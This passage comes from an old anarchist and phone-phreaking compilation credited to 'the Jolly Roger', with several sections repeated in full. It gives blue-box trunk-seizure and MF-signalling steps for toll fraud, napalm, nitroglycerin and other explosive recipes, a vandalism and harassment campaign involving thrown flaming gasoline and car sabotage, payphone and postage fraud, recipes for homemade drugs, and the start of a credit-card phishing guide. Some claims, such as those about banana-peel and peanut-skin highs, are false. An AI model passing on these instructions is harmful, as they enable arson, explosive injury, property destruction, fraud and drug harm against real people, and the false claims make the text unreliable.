  5993. (CO1) to the 806-258 central office (CO2) do *NOT* have 2600Hz on them,
  5994. indicating to the Bell equipment that a call is in progress and the trunks
  5995. are in use.
  5996. Now let's say you're tired of talking to your friend in Amarillo, so you
  5997. send a 2600Hz down the line. This tone travels down the line to your
  5998. friend's central office (CO2) where it is detected. However, that CO thinks
  5999. that the 2600Hz is originating from Bell equipment, indicating to it
  6000. that you've hung up, and thus the trunks are once again idle (with 2600Hz
  6001. present on them). But actually, you have not hung up, you have fooled the
  6002. equipment atyour friend's CO into thinking you have. Thus,it disconnects
  6003. him and resets the equipment to prepare for the next call. All this happens
  6004. very quickly (300-800ms for step-by-step equipment and 150-400ms for other
  6005. equipment). When you stop sending 2600Hz (after about a second), the
  6006. equipment thinks that another call is coming towards
  6007. --> on hook, no tone -->off hook.
  6008. Now that you've stopped sending 2600Hz, several things happen:
  6009.  
  6010. 1) A trunk is seized.
  6011. 2) A "wink" is sent to the CALLING end from the CALLED end indicating that
  6012. the CALLED end (trunk) is not ready to receive digits yet.
  6013. 3) A register is found and attached to the CALLED end of the trunk within
  6014. about two seconds (max).
  6015. 4) A start-dial signal is sent to the CALLING end from the CALLED end
  6016. indicating that the CALLED end is ready to receive digits.
  6017. Now, all of this is pretty much transparent to the blue boxer. All he
  6018. really hears when these four things happen is a <beep><kerchunk>. So,
  6019. seizure of a trunk would go something like this:
  6020.  
  6021. 1> Send a 2600Hz
  6022. 2> Terminate 2600Hz after 1-2 secs.
  6023. 3> [beep][kerchunk]
  6024.  
  6025. Once this happens, you are connected to a tandem that is ready to obey your
  6026. every command. The next step is to send signalling information in order to
  6027. place your call. For this you must simulate the signalling used by
  6028. operators and automatic toll-dialing equipment for use on trunks. There are
  6029. mainly two systems, DP and MF. However, DP went out with the dinosaurs, so
  6030. I'll only discuss MF signalling. MF (multi-frequency) signalling is the
  6031. signalling used by the majority of the inter- and intra-lata network. It is
  6032. also used in international dialing known as the CCITT no.5 system.
  6033. MF signals consist of 7 frequecies, beginning with 700Hz and separated by
  6034. 200Hz. A different set of two of the 7 frequencies represent the digits 0
  6035. thru 9, plus an additional 5 special keys. The frequencies and uses are as
  6036. follows:
  6037.  
  6038. Frequencies (Hz)  Domestic    Int'l
  6039. -------------------------------------
  6040.  700+900             1          1
  6041.  700+1100            2          2
  6042.  900+1100            3          3
  6043.  700+1300            4          4
  6044.  900+1300            5          5
  6045. 1100+1300            6          6
  6046.  700+1500            7          7
  6047.  900+1500            8          8
  6048. 1100+1500            9          9
  6049. 1300+1500            0          0
  6050.  700+1700           ST3p       Code 1
  6051.  900+1700           STp        Code 1
  6052. 1100+1700           KP         KP1
  6053. 1300+1700           ST2p       KP2
  6054. 1500+1700           ST         ST
  6055.  The timing of all the MF signals is a nominal 60ms, except for KP, which
  6056. should have a duration of 100ms. There should also be a 60ms silent period
  6057. between digits. This is very flexible however, and most Bell equipment will
  6058. accept outrageous timings. In addition to the standard uses
  6059. listed above, MF pulsing also has expanded usages known as "expanded
  6060. inband signalling" that include such things as coin collect, coin return,
  6061. ringback, operator attached, and operator attached, and operator
  6062. released. KP2, code 11, and code 12 and the ST_ps (STart "primes" all have
  6063. special uses which will be mentioned only briefly here.
  6064. To complete a call using a blue box once seizure of a trunk has been
  6065. accomplished by sending 2600Hz and pausing for the <beep><kerchunk>, one
  6066. must first send a KP. This readies the register for the digits that follow.
  6067. For a standard domestic call, the KP would be followed by either 7 digits
  6068. (if the call were in the same NPA as the seized trunk) or 10 digits (if the
  6069. call were not in the same NPA as the seized trunk). [Exactly like dialing
  6070. normal fone call]. Following either the KP and 7 or 10 digits, a STart is
  6071. sent to signify that no more digits follow. Example of a complete call:
  6072.  
  6073. 1> Dial 1-806-258-1234
  6074. 2> wait for a call-progress indication (such as ring,busy,recording,etc.)
  6075. 3> Send 2600Hz for about 1 second.
  6076. 4> Wait for about ll-progress indication (such as ring,busy,recording,etc.)
  6077. 5> Send KP+305+994+9966+ST
  6078. The call will then connect if everything was done properly. Note that if a
  6079. call to an 806 number were being placed in the same situation, the are code
  6080. would be omitted and only KP + seven digits + ST would be sent.
  6081. Code 11 and code 12 are used in international calling to request
  6082. certain types of operators. KP2 is used in international calling to route a
  6083. call other than by way of the normal route, whether for economic or
  6084. equipment reasons. STp, ST2p, and ST3p (prime, two prime, and three prime)
  6085. are used in TSPS signalling to indicate calling type of call (such as
  6086. coin-direct dialing.
  6087. Napalm (Another way to make it...)              by the Jolly Roger
  6088.  
  6089.    (See file #021 of the Cookbook for an easy way to make it!!)
  6090.  
  6091. About the best fire bomb is napalm. It has a thick consistancy,
  6092. like jam and is best for use on vehilces or buildings.
  6093. Napalms is simply one part gasoline and one part soap. The soap is
  6094. either soap flakes or shredded bar soap. Detergents won't do.
  6095. The gasoline must be heated in order for the soap to melt. The
  6096. usual way is with a double boiler where the top part has at least a
  6097. two-quart capicity. The water in the bottom part is brought to a boil
  6098. and the double boiler is taken from the stove and carried to where
  6099. there is no flame.
  6100. Then one part, by volume, of gasoline is put in the top part and
  6101. allowed to heat as much as it will and the soap is added and the mess
  6102. is stirred until it thickens. A better way to heat gasoline is to fill
  6103. a bathtub with water as hot as you can get it. It will hold its heat
  6104. longer and permit a much larger container than will the double boiler.
  6105.  
  6106.                                 ---------------Jolly Roger
  6107.  
  6108. Nitroglycerin Recipe                            by the Jolly Roger
  6109.  
  6110. Like all chemists I must advise you all to take the greatest care
  6111. and caution when you are doing this.  Even if you have made this stuff
  6112. before.
  6113. This first article will give you information on making
  6114. nitroglyerin, the basic ingredient in a lot of explosives such as
  6115. straight dynamites, and geletin dynamites.
  6116. Making nitroglycerin
  6117. 1. Fill a 75-milliliter beaker to the 13 ml. Level with fuming
  6118.    red nitric acid, of 98% pure concentration.
  6119. 2. Place the beaker in an ice bath and allow to cool below room
  6120.    temp.
  6121. 3. After it has cooled, add to it three times the amount of
  6122.    fuming sulferic acid (99% h2so4).  In other words, add to the
  6123.    now-cool fuming nitric acid 39 ml. Of fuming sulferic acid.
  6124.    When mixing any acids, always do it slowly and carefully to
  6125.    avoid splattering.
  6126. 4. When the two are mixed, lower thier temp. By adding more ice
  6127.    to the bath, about 10-15 degrees centigrade. (Use a
  6128.    mercury-operated thermometer)
  6129. 5. When the acid solution has cooled to the desired temperature,
  6130.    it is ready for the glycerin. The glycerin must be added in
  6131.    small amounts using a medicine dropper.  (Read this step about
  6132.    10 times!)  Glycerin is added slowly and carefully (i mean
  6133.    careful!) Until the entire surface of the acid it covered with
  6134.    it.
  6135. 6. This is a dangerous point since the nitration will take place
  6136.    as soon as the glycerin is added. The nitration will produce
  6137.    heat, so the solution must be kept below 30 degrees
  6138.    centigrade! If the solution should go above 30 degrees,
  6139.    immediately dump the solution into the ice bath!  This will
  6140.    insure that it does not go off in your face!
  6141. 7. For the first ten minutes of nitration, the mixture should be
  6142.    gently stirred.  In a normal reaction the nitroglycerin will
  6143.    form as a layer on top of the acid solution, while the sulferic
  6144.    acid will absorb the excess water.
  6145. 8. After the nitration has taken place, and the nitroglycerin has
  6146.    formed on the top of the solution, the entire beaker should be 
  6147.    transferred slowly and carefully to another beaker of water. 
  6148.    When this is done the nitroglycerin will settle at the bottem
  6149.    so the other acids can be drained away.
  6150. 9. After removing as much acid as posible without disturbing the
  6151.    nitroglycerin, remove the nitroglycerin with an eyedropper and
  6152.    place it in a bicarbonate of soda (sodium bicarbonate in case
  6153.    you didn't know) solution.  The sodium is an alkalai and will
  6154.    nuetralize much of the acid remaining. This process should be
  6155.    repeated as much as necesarry using blue litmus paper to check
  6156.    for the presence of acid.  The remaining acid only makes the
  6157.    nitroglycerin more unstable than it already is.
  6158. 10. Finally! The final step is to remove the nitroglycerin from
  6159.     the bicarbonate.  His is done with and eye- dropper, slowly
  6160.     and carefully.  The usual test to see if nitration has been
  6161.     successful is to place one drop of the nitroglycerin on metal
  6162.     and ignite it.  If it is true nitroglycerin it will burn with
  6163.     a clear blue flame.
  6164. ** Caution **
  6165. Nitro is very sensative to decomposition, heating dropping, or
  6166. jarring, and may explode if left undisturbed and cool.
  6167.                               -------------Jolly Roger
  6168.  
  6169. Operation: Fuckup                                 by the Jolly Roger
  6170.  
  6171. This is a guide for Anarchists and can be funny for non-believers and 12
  6172. and 13 year old runts, and can be a lexicon of deadly knowledge for True
  6173. Anarchists... Serious damage is intended to be dealt here. Do not try
  6174. this stuff unless you want to do a lot of serious Anarchy. 
  6175. [Simulation]
  6176. Asshole - 'Listen, you little teenager punk shit, shut the fuck up, or I'll
  6177. knock you down!'
  6178. Anarchist - 'O.K.....You can't say I didn't warn you. You don't know my 
  6179. rue power...' (soooo casually)
  6180. Asshole - 'Well, er, what do you mean? Anarchist - '<demoniac grin>'
  6181. As you can see, the Anarchist knows something that this asshole doesn't...
  6182.  
  6183. [Operation Fuckup]
  6184. Geta wheel barrel or two. Fill with gasoline. Get 16 rolls of toilet
  6185. paper, unroll & drench in the gasoline. Rip to shreds in gasoline. Get
  6186. asbestos gloves. Light a flare (to be punk), grab glob of
  6187. saturated toilet paper (you can ignite the glob or not). Throw either
  6188. flaming or dripping glob into:
  6189. any window (picture is the best)
  6190. front doors
  6191. rough grain siding
  6192. and best of all, brick walls.
  6193. First of all, this bitch is near impossible to get off once dried, and
  6194. is a terror to people inside when lit! After this... during the
  6195. night, get a pickup truck, a few wheel-barrels, and a dozen friends with 
  6196. shovels. The pickup can be used only for transporting people
  6197. and equipment, or doing that, and carting all the dirt. When it gets
  6198. around 12:00 (after the loser goes beddie - bye), dig a gargantuan hole
  6199. in his front yard until about 3:00. You can either assign three or four
  6200. of your friends to cart the dirt ten miles away in the pickup-bed, or
  6201. bury his front door in 15' of dirt! After that is done, get
  6202. three or four buckets of tar, and coat his windows. You can make an
  6203. added twist by igniting the tar when you are all done and ready to
  6204. run! That is if the loser has a house. If he lives inside an apartment
  6205. building, you must direct the attack more toward his car, and front door.
  6206. I usually start out when he goes to work...I find out what his cheap car
  6207. looks like, and memorize it for future abuse...It is always fun to paint
  6208. his front door (apt.) hot pink with purple polka-dots, and off-neon
  6209. colors in diagonal stripes. You can also pound a few hundred or so four
  6210. inch nails into his front door (this looks like somebody really
  6211. doesn't like you from the inside). Another great is to fill his keyhole
  6212. with liquid steel so that after the bastard closes his door - the
  6213. only way to get back in is to break it down. If you can spare it, leave
  6214. him an axe - that is, implanted three inches into, and through the door!
  6215. Now, this next one is difficult, but one of the best! Get a piece of wood
  6216. siding that will more than cover his front door completely. Nail two by
  6217. fours on the edges of the siding (all except the bottom) so you have
  6218. a barge - like contraption. Make a hole at the top that will be large
  6219. enough for a cement slide. Mix about six or seven LARGE bags of QUICK
  6220. drying cement. Use the cement slide to fill the antichamber created by
  6221. the 'barge' that is around his door. Use more two by fours to brace
  6222. your little cement-filled barge, and let the little gem dry. When it is,
  6223. remove the 'barge' so only a stone monolith remains that covers his door.
  6224. Use any remaining cement to make a base around this so he can't just push
  6225. it over. When I did this, he called the fire department, and they thought
  6226. he meant wood, so they brought axes. I watched with a few dozen or so
  6227. other tenants, and laughed my damn ass off! This is only his door! After
  6228. he parks his car for the night, the fun really begins...I start out
  6229. by opening up the car by jamming a very thin, but loack - inside and out!
  6230. Then proceed to put orange-juice syrup all over the seats, so after he
  6231. gets through all the other shit that you do, he will have the stickiest
  6232. seats in the world. You can then get a few Sunday papers, and crack one of
  6233. the windows about four inches. Lightly crumple the papers, and continue to
  6234. completely fill the inside of his car with the newspapers. A copy of the
  6235. Sunday New York Times will nicely fill a Volkeswagon! What is also quite
  6236. amusing is to put his car on cinder blocks, slash his tires at the top, and
  6237. fill them with cement! Leave the cinder blocks there so that, after he
  6238. knocks the car off of them, he will get about 3 miles to the gallon with
  6239. those tires, and do 0 to 60 in about two minutes! It is even more
  6240. hilarious when he doesn't know why the hell why! Another is to open his
  6241. hood, and then run a few wires from the sparkplugs to the METAL body.
  6242. The sure is one HOT car when it is running! Now, I like to pour two pounds
  6243. of sugar down his gas tank. If this doesn't blow every gasket in his
  6244. engine it will do something called 'carmelizing his engine'. This is when
  6245. the extreme heat turns the sugar to carmel, and you literally must
  6246. completely take the engine out and apart, and clean each and every
  6247. individual part!
  6248. Well, if this asshole does not get the message, you had better start to
  6249. get serious. If this guide was used properly & as it was intended (no,
  6250. not as kindling for the fire), this asshole will either move far away,
  6251. seek professional psychological help, commit suicide,
  6252. or all of the above! 
  6253.  
  6254.                                --------------Jolly Roger
  6255.  
  6256. cperation: Fuckup                                 by the Jolly Roger
  6257.  
  6258. This is a guide for Anarchists and can be funny for non-believers and 12
  6259. and 13 year old runts, and can be a lexicon of deadly knowledge for True
  6260. Anarchists... Serious damage is intended to be dealt here. Do not try
  6261. this stuff unless you want to do a lot of serious Anarchy. 
  6262. [Simulation]
  6263. Asshole - 'Listen, you little teenager punk shit, shut the fuck up, or I'll
  6264. knock you down!'
  6265. Anarchist - 'O.K.....You can't say I didn't warn you. You don't know my 
  6266. rue power...' (soooo casually)
  6267. Asshole - 'Well, er, what do you mean? Anarchist - '<demoniac grin>'
  6268. As you can see, the Anarchist knows something that this asshole doesn't...
  6269.  
  6270. [Operation Fuckup]
  6271. Geta wheel barrel or two. Fill with gasoline. Get 16 rolls of toilet
  6272. paper, unroll & drench in the gasoline. Rip to shreds in gasoline. Get
  6273. asbestos gloves. Light a flare (to be punk), grab glob of
  6274. saturated toilet paper (you can ignite the glob or not). Throw either
  6275. flaming or dripping glob into:
  6276. any window (picture is the best)
  6277. front doors
  6278. rough grain siding
  6279. and best of all, brick walls.
  6280. First of all, this bitch is near impossible to get off once dried, and
  6281. is a terror to people inside when lit! After this... during the
  6282. night, get a pickup truck, a few wheel-barrels, and a dozen friends with 
  6283. shovels. The pickup can be used only for transporting people
  6284. and equipment, or doing that, and carting all the dirt. When it gets
  6285. around 12:00 (after the loser goes beddie - bye), dig a gargantuan hole
  6286. in his front yard until about 3:00. You can either assign three or four
  6287. of your friends to cart the dirt ten miles away in the pickup-bed, or
  6288. bury his front door in 15' of dirt! After that is done, get
  6289. three or four buckets of tar, and coat his windows. You can make an
  6290. added twist by igniting the tar when you are all done and ready to
  6291. run! That is if the loser has a house. If he lives inside an apartment
  6292. building, you must direct the attack more toward his car, and front door.
  6293. I usually start out when he goes to work...I find out what his cheap car
  6294. looks like, and memorize it for future abuse...It is always fun to paint
  6295. his front door (apt.) hot pink with purple polka-dots, and off-neon
  6296. colors in diagonal stripes. You can also pound a few hundred or so four
  6297. inch nails into his front door (this looks like somebody really
  6298. doesn't like you from the inside). Another great is to fill his keyhole
  6299. with liquid steel so that after the bastard closes his door - the
  6300. only way to get back in is to break it down. If you can spare it, leave
  6301. him an axe - that is, implanted three inches into, and through the door!
  6302. Now, this next one is difficult, but one of the best! Get a piece of wood
  6303. siding that will more than cover his front door completely. Nail two by
  6304. fours on the edges of the siding (all except the bottom) so you have
  6305. a barge - like contraption. Make a hole at the top that will be large
  6306. enough for a cement slide. Mix about six or seven LARGE bags of QUICK
  6307. drying cement. Use the cement slide to fill the antichamber created by
  6308. the 'barge' that is around his door. Use more two by fours to brace
  6309. your little cement-filled barge, and let the little gem dry. When it is,
  6310. remove the 'barge' so only a stone monolith remains that covers his door.
  6311. Use any remaining cement to make a base around this so he can't just push
  6312. it over. When I did this, he called the fire department, and they thought
  6313. he meant wood, so they brought axes. I watched with a few dozen or so
  6314. other tenants, and laughed my damn ass off! This is only his door! After
  6315. he parks his car for the night, the fun really begins...I start out
  6316. by opening up the car by jamming a very thin, but loack - inside and out!
  6317. Then proceed to put orange-juice syrup all over the seats, so after he
  6318. gets through all the other shit that you do, he will have the stickiest
  6319. seats in the world. You can then get a few Sunday papers, and crack one of
  6320. the windows about four inches. Lightly crumple the papers, and continue to
  6321. completely fill the inside of his car with the newspapers. A copy of the
  6322. Sunday New York Times will nicely fill a Volkeswagon! What is also quite
  6323. amusing is to put his car on cinder blocks, slash his tires at the top, and
  6324. fill them with cement! Leave the cinder blocks there so that, after he
  6325. knocks the car off of them, he will get about 3 miles to the gallon with
  6326. those tires, and do 0 to 60 in about two minutes! It is even more
  6327. hilarious when he doesn't know why the hell why! Another is to open his
  6328. hood, and then run a few wires from the sparkplugs to the METAL body.
  6329. The sure is one HOT car when it is running! Now, I like to pour two pounds
  6330. of sugar down his gas tank. If this doesn't blow every gasket in his
  6331. engine it will do something called 'carmelizing his engine'. This is when
  6332. the extreme heat turns the sugar to carmel, and you literally must
  6333. completely take the engine out and apart, and clean each and every
  6334. individual part!
  6335. Well, if this asshole does not get the message, you had better start to
  6336. get serious. If this guide was used properly & as it was intended (no,
  6337. not as kindling for the fire), this asshole will either move far away,
  6338. seek professional psychological help, commit suicide,
  6339. or all of the above! 
  6340.  
  6341.                                --------------Jolly Roger
  6342.  
  6343.                      
  6344. *-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*
  6345. *            How to "steal" local calls from most Payphones         *
  6346. *-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*
  6347.                            by the Jolly Roger
  6348.  
  6349. Now to make free local calls, you need a finishing nail.  I highly
  6350. recommend "6D E.G. FINISH C/H, 2 INCH" nails.  These are about 3/32 of
  6351. an inch in diameter and 2 inches long (of course).  You also need a large
  6352. size paper clip. By large  I  mean they  are  about  2  inches  long
  6353. (FOLDED). Then  you  unfold the paper clip.  Unfold it by taking each piece
  6354. and moving it out 90 degrees.  When it is done it should look somewhat
  6355. like this: 
  6356.  
  6357.                                /----------\
  6358.                                :          :
  6359.                                :          :
  6360.                                :          :
  6361.                                :          :
  6362.                                           \-----     
  6363.  
  6364. Now,  on to the neat stuff.  What you do,  instead of unscrewing the 
  6365. glued-on  mouthpiece,  is  insert the nail into the center  hole  of
  6366. the mouthpiece  (where you talk) and push it in with
  6367. pressure or just hammer it in by hitting the nail on something. 
  6368. Just DON'T KILL THE  MOUTHPIECE! You  could  damage  it
  6369. if you insert the nail too far or  at  some  weird angle.  If  this
  6370. happens then the other party won't be able to hear  what you say.
  6371. You now have a hole in the mouthpiece in which you can easily insert the 
  6372. paper clip. So, take out the nail and put in the paper  clip.
  6373. Then take the other end of the paper clip and shove it under the rubber
  6374. cord protector at the bottom of the handset (you know, the blue guy...).
  6375. This should end up looking remotely like...like this:
  6376.                             /----------\      Mouthpiece
  6377.                             :          :   
  6378.             Paper clip -->  :          :     /
  6379.                             :      /---:---\
  6380.                             :      :   : 
  6381.                             :------------>
  6382.         ====================\---))):
  6383.                                    :  To earpiece ->
  6384.                                    ^              ^
  6385.                                    \-------------------->
  6386.                                    :              :
  6387.                                    :              :         
  6388.                                  Cord          Blue guy
  6389. (The  paper clip is shoved under the blue guy to make a  good  connection
  6390. between the inside of the mouthpiece and the metal cord.)
  6391. Now,  dial  the number of a local number you wish to  call,  sayyyy, 
  6392. MCI.  If  everything  goes okay, it should ring and not answer with the 
  6393. "The Call You Have Made Requires a 20 Cent Deposit" recording.  After the 
  6394. other  end  answers  the phone, remove the  paper  clip.  It's  all  that 
  6395. simple, see?
  6396. There  are  a couple problems,  however.  One  is,  as  I mentioned 
  6397. earlier, the mouthpiece not working after you punch it.  If this  
  6398. happens to you,  simply move on to the next payphone.  The one you are
  6399. now on  is lost.  Another problem is that the touch tones won't work
  6400. when the paper clip is in the mouthpiece. There are two ways around this..
  6401. A> Dial the first 6 numbers.  This should be done without the  paper 
  6402. clip making the connection, i.e., one side should not be connected.
  6403. Then connect  the paper clip,  hold down the last digit,  and slowly
  6404. pull  the paper clip out at the mouthpiece's end.
  6405. B> Don't  use  the paper clip at all.  Keep the nail  in  after  you punch
  6406. it.  Dial the first 6 digits.  Before dialing the last digit, touch
  6407. the nail head to the plate on the main body of the phone,  the money
  6408. safe thingy..then press the last number. The  reason  that this method
  6409. is sometimes called  clear  boxing  is because  there is
  6410. another type of phone which lets you actually make  the call  and  listen
  6411. to  them say "Hello,  hello?"  but  it  cuts  off  the mouthpiece  so they
  6412. can't hear you.  The Clear Box is used  on  that  to amplify your voice
  6413. signals and send it through the earpiece. If you  see how  this  is
  6414. even slightly similar to the method I have just described up there,
  6415. kindly explain it to ME!! Cause I don't GET IT!  Anyways,  this DOES
  6416. work on almost all single slot,  Dial Tone First payphones (Pacific Bell
  6417. for sure).  I do it all the time.  This  is  the least,  I STRESS
  6418. *LEAST*, risky form of Phreaking.
  6419.  
  6420.                         ---------------Jolly Roger
  6421.  
  6422. Pool Fun                                        by the Jolly Roger
  6423.  
  6424. First of all, you need know nothing about pools.  The only thing
  6425. you need know is what a pool filter looks like.  If you don't know that.
  6426. Second, dress casual.  Preferably, in black.  Visit your
  6427. "friends" house, the one whose pool looks like fun!!)  Then you
  6428. reverse the polarity of his/her pool, by switching the wires around.
  6429. They are located in the back of the pump. This will have quite an
  6430. effect when the pump goes on.  In other words. Boooooooooooommm!
  6431. Thats right, when you mix + wires with - plugs, and vice- versa, the
  6432. 4th of july happens again.
  6433. Not into total destruction??? When the pump is off, switch the
  6434. pump to "backwash".  Turn the pump on and get the phuck out!  When you
  6435. look the next day, phunny.  The pool is dry.  If you want permanant
  6436. damage, yet no great display like my first one mentioned, shut the
  6437. valves of the pool off. (There are usually 2)  One that goes to the
  6438. main drain and one that goes to the filter in the pool.  That should
  6439. be enough to have one dead pump.  The pump must take in water, so when
  6440. there isn't any...
  6441. Practical jokes:  these next ones deal with true friends and
  6442. there is *no* permanent damage done.  If you have a pool, you must
  6443. check the pool with chemicals.  There is one labeled orthotolidine.
  6444. The other is labeled alkaline (ph).  You want orthotolidine. (It
  6445. checks the chlorine). 
  6446. Go to your local pool store and tell them you're going into the pool
  6447. business, and to sell you orthotolidine (a
  6448. CL detector)   Buy this in great quantities if possible.  The solution
  6449. is clear.  You fill 2 baggies with this chemical.  And sew the bags to
  6450. the inside of your suit.  Next, go swimming with your friend!  
  6451. Then open the bags and look like you're enjoying a piss.  And anyone
  6452. there will turn a deep red!  They will be embarrased so much,
  6453. Especially if they have guests there! Explain what it is, then add
  6454. vinegar to the pool.  Only a little.  The "piss" disappears.
  6455.  
  6456. HAHA!!          --------------------Jolly Roger
  6457.  
  6458.  
  6459. Free Postage                                    by the Jolly Roger
  6460.  
  6461. The increasing cost of postage to mail letters and packages is
  6462. bringing down our standard of living.  To remedy this deplorable
  6463. situation, some counter control measures can be applied.
  6464. For example, if the stamps on a letter are coated with Elmer's
  6465. Glue by the sender, the cancellation mark will not destroy the stamp:
  6466. the Elmer/s drives to form an almost invisible coating that protects
  6467. the stamps from the cancellation ink. Later, the receiver of the
  6468. letter can remove the cancellation mark with water and reuse the
  6469. stamps. Furthermore, ecological saving will also result from recycling
  6470. the stamps.  Help save a tree.
  6471. The glue is most efficently applied with a brush with stiff,
  6472. short bristles.  Just dip the brush directly into the glue and spread
  6473. it on evenly, covering the entire surface of the stamp.  It will dry
  6474. in about 15 minutes.
  6475. For mailing packages, just follow the same procedure as outlined
  6476. above; however, the package should be weighed and checked to make sure
  6477. that it has the correct amount of postage on it before it is taken to
  6478. the Post Office.
  6479. Removing the cancellation and the glue from the stamps can be
  6480. easily accomplished by soaking the stamps in warm water until they
  6481. float free from the paper.  The stamps can then be put onto a paper
  6482. towel to dry.  Processing stamps in large batches saves time too.
  6483. Also, it may be helpful to write the word 'Elmer' at the top of the
  6484. letter (not on the envelope) to cue the receiving party in that the
  6485. stamps have been protected with the glue.
  6486. We all know that mailing packages can be expensive.  And we also
  6487. know that the handicapped are sometimes discriminated against in jobs.
  6488. The Government, being the generous people they are, have given the
  6489. blind free postal service.
  6490. Simply address you envelope as usual, and make one modification.
  6491. In the corner where the stamp would go, write in (or stamp) the words
  6492. 'FREE MATTER FOR THE BLIND".  Then drop you package or letter in one
  6493. of the blue fedral mailboxes.  DO NOT TAKE THE LETTER TO THE POST
  6494. OFFICE, OR LEAVE IT IN YOUR MAILBOX.
  6495. Sounds very nice of the government to do this, right?  Well, they
  6496. aren't that nice.  The parcel is sent library rate, that is below
  6497. third class.  It may take four to five days to send a letter to just
  6498. the next town.
  6499. This too is quite simple, but less effective.  Put the address
  6500. that you are sending the letter to as the return address.  If you were
  6501. sending a $20 donation to the pirate's Chest, you would put our
  6502. address (po box 644, lincoln ma. 01773) as the return address.
  6503. Then you would have to be carless and forget to put the stamp on
  6504. the envelope.  A nice touch is to put a bullshit address in the center
  6505. of the envelope.
  6506. Again, you MUST drop the letter in a FEDRAL mailbox.  If the post
  6507. office doesn't send the letter to the return address for having no
  6508. stamp, they will send it back for the reason of "No such address".
  6509. Example--
  6510.  
  6511. Pirates Chest  Dept. 40DD
  6512. P.O. Box 644865
  6513. Lincol, Ma. 41773
  6514.  
  6515.                  Tom Bullshit
  6516.                  20 Fake Road
  6517.                  What Ever, XX     99851
  6518.  
  6519. One last thing you might try doing is soaking a cancelled stamp
  6520. off of an envelope, and gluing it onto one you are sending.  Then burn
  6521. the stamp, leaveing a little bit to show that there was one there.
  6522.  
  6523.                                      --------------Jolly Roger
  6524.  
  6525. Unstable Explosives                             by the Jolly Roger
  6526.  
  6527. Mix solid Nitric Iodine with househould ammonia. Wait overnight and
  6528. then pour off the liquid. You will be left with a muddy substance. Let
  6529. this dry till it hardens.  Now throw it at something!!!!
  6530.  
  6531.                                 ----------------Jolly Roger
  6532.  
  6533. Weird Drugs                                     by the Jolly Roger
  6534.  
  6535. Bananas:
  6536. 1. Obtain 15 pounds of ripe yellow bananas
  6537. 2. Peel all and eat the fruit. Save the peelings
  6538. 3. Scrape all the insides of the peels with a sharp knife.
  6539. 4. Put all the scraped material in a large pot and add water.
  6540. 5. Boil 3 or 4 hours until it has attained a solid paste considtency.
  6541. 6. Spread paste onto cookie sheets and dry in ofen for about 20
  6542.    minutes. This will result in fine black powder. Usually one will
  6543.    feel the effects after smoking three to four cigarettes.
  6544.  
  6545. Cough syrup:
  6546. mix robitussion a-c with an equal amount of ginger ale and drink. The
  6547. effect are sedation and euphoria. Never underestimate the effects of
  6548. any drug! You can od on cough syrup!
  6549.  
  6550. Toads:
  6551. 1. Collect five to ten toads, frogs will not work. The best kind are
  6552.    tree toads.
  6553. 2. Kill them as painlessly as possible, and skin immediately.
  6554. 3. Allow the skins to dry in a refrigerator four four to five days, or
  6555.    until the skins are brittle.
  6556. 4. Now crush the skins into powder and smoke. Due to its bad taste you
  6557.    can mix it with a more fragrent smoking medium.
  6558.  
  6559. Nutmeg:
  6560. 1. Take several whole nutmegs and grind them up in an old grinder.
  6561. 2. After the nutmegs are ground. Place in a mortar and pulverize with
  6562.    a pestle.
  6563. 3. The usual dosage is about 10 or 15 grams. A larger dose may
  6564.    produce excessive thirst,anxiety,and rapid hart beat, but
  6565.    hallucinations are rare.
  6566.  
  6567. Peanuts:
  6568. 1. Take 1 pound of raw peanuts (not roasted)
  6569. 2. Shell them, saving the skins and discarding the shells.
  6570. 3. Eat the nuts.
  6571. 4. Grind up the skins and smoke them.
  6572.  
  6573.                                     ------------------Jolly Roger
  6574.  
  6575. Weird Drugs                                     by the Jolly Roger
  6576.  
  6577. Bananas:
  6578. 1. Obtain 15 pounds of ripe yellow bananas
  6579. 2. Peel all and eat the fruit. Save the peelings
  6580. 3. Scrape all the insides of the peels with a sharp knife.
  6581. 4. Put all the scraped material in a large pot and add water.
  6582. 5. Boil 3 or 4 hours until it has attained a solid paste considtency.
  6583. 6. Spread paste onto cookie sheets and dry in ofen for about 20
  6584.    minutes. This will result in fine black powder. Usually one will
  6585.    feel the effects after smoking three to four cigarettes.
  6586.  
  6587. Cough syrup:
  6588. mix robitussion a-c with an equal amount of ginger ale and drink. The
  6589. effect are sedation and euphoria. Never underestimate the effects of
  6590. any drug! You can od on cough syrup!
  6591.  
  6592. Toads:
  6593. 1. Collect five to ten toads, frogs will not work. The best kind are
  6594.    tree toads.
  6595. 2. Kill them as painlessly as possible, and skin immediately.
  6596. 3. Allow the skins to dry in a refrigerator four four to five days, or
  6597.    until the skins are brittle.
  6598. 4. Now crush the skins into powder and smoke. Due to its bad taste you
  6599.    can mix it with a more fragrent smoking medium.
  6600.  
  6601. Nutmeg:
  6602. 1. Take several whole nutmegs and grind them up in an old grinder.
  6603. 2. After the nutmegs are ground. Place in a mortar and pulverize with
  6604.    a pestle.
  6605. 3. The usual dosage is about 10 or 15 grams. A larger dose may
  6606.    produce excessive thirst,anxiety,and rapid hart beat, but
  6607.    hallucinations are rare.
  6608.  
  6609. Peanuts:
  6610. 1. Take 1 pound of raw peanuts (not roasted)
  6611. 2. Shell them, saving the skins and discarding the shells.
  6612. 3. Eat the nuts.
  6613. 4. Grind up the skins and smoke them.
  6614.  
  6615.                                     ------------------Jolly Roger
  6616.  
  6617. The Art of Carding                              by the Jolly Roger
  6618.  
  6619. Obtaining a credit card number: There are many ways to obtain the
  6620. information needed to card something.
  6621. The most important things needed are the card number and the expiration
  6622. date.  Having the card-holders name doesn't hurt, but it is not essential.
  6623. The absolute best way to obtain all the information needed is by trashing.
  6624. The way this is done is simple.  You walk around your area or any other
  6625. area and find a store, mall, supermarket, etc., that throws their
  6626. garbage outside on the sidewalk or dumpster.  Rip the bag open and see
  6627. if you can find any carbons at all.  If you find little shreds of
  6628. credit card carbons, then it is most likely not worth your time to tape
  6629. together.  Find a store that does not rip their carbons at all or only in half.
  6630. Another way is to bullshit the number out of someone.  That is call them
  6631. up and say "Hello, this is Visa security and we have a report that
  6632. your card was stolen." They will deny it and you will try to get it out
  6633. of them from that point on.  You could say, "It wasn't stolen?  Well what
  6634. is the expiration date and maybe we can fix the problem....
  6635. Ok and what is the number on your card?......Thank you very much and
  6636. have a nice day."  Or think of something to that degree. 
  6637. Another way to get card numbers is through systems such as TRW and CBI,
